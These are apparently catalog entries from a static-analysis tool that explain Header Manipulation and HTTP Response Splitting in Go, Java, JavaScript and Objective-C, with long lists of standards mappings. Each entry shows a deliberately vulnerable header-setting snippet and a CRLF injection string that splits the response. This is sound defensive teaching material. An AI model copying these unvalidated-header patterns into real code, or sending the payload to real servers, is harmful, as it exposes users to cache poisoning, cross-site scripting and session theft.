As with many software security vulnerabilities, Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.


Example: The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.


...
author := request.FormValue("AUTHOR_PARAM")
cookie := http.Cookie{
Name: "author",
Value: author,
Domain: "www.example.com",
}
http.SetCookie(w, &cookie)
...


The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker can make a single request to a vulnerable server that causes the server to create two responses, the second of which can be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker might leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker might provide especially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance is affected.

Cross-Site Scripting: After attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker might cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers can change, add to, or even overwrite a legitimate user's cookies.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark partial
[8] Standards Mapping - Common Weakness Enumeration CWE ID 113
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[14] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[15] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[16] Standards Mapping - OWASP Top 10 2010 A1 Injection
[17] Standards Mapping - OWASP Top 10 2013 A1 Injection
[18] Standards Mapping - OWASP Top 10 2017 A1 Injection
[19] Standards Mapping - OWASP Top 10 2021 A03 Injection
[20] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[56] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.golang.header_manipulation
Abstract
Including unvalidated data in an HTTP response header can enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Header Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP response header sent to a web user without being validated.

As with many software security vulnerabilities, Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. For example, recent versions of Apache Tomcat will throw an IllegalArgumentException if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.


String author = request.getParameter(AUTHOR_PARAM);
...
Cookie cookie = new Cookie("author", author);
cookie.setMaxAge(cookieExpiration);
response.addCookie(cookie);


Assuming a string consisting of standard alphanumeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.java.header_manipulation
Abstract
Including unvalidated data in an HTTP response header can enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Header Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP response header sent to a web user without being validated.

As with many software security vulnerabilities, Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.


author = form.author.value;
...
document.cookie = "author=" + author + ";expires="+cookieExpiration;
...


Assuming a string consisting of standard alphanumeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: web and browser cache poisoning, cross-site scripting, and page hijacking.


Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Cookie Manipulation: When combined with attacks like cross-site request forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.javascript.header_manipulation
Abstract
Including unvalidated data in an HTTP response header can enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Header Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.


2. The data is included in an HTTP response header sent to a web user without being validated.

As with many software security vulnerabilities, Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n) characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. For example, recent versions of Apache Tomcat will throw an IllegalArgumentException if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment assumes name and value may be controlled by an attacker. The code sets an HTTP header whose name and value may be controlled by an attacker:


...
NSURLSessionConfiguration * config = [[NSURLSessionConfiguration alloc] init];
NSMutableDictionary *dict = @{};
[dict setObject:value forKey:name];
[config setHTTPAdditionalHeaders:dict];
...


Assuming a name/value pair consisting of author and Jane Smith, the HTTP response including this header might take the following form:


HTTP/1.1 200 OK
...
author:Jane Smith
...


However, because the value of the header is formed of unvalidated user input, an attacker may submit a malicious name/value pair, such as HTTP/1.1 200 OK\r\n...foo and bar, then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...

HTTP/1.1 200 OK
...
foo:bar


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
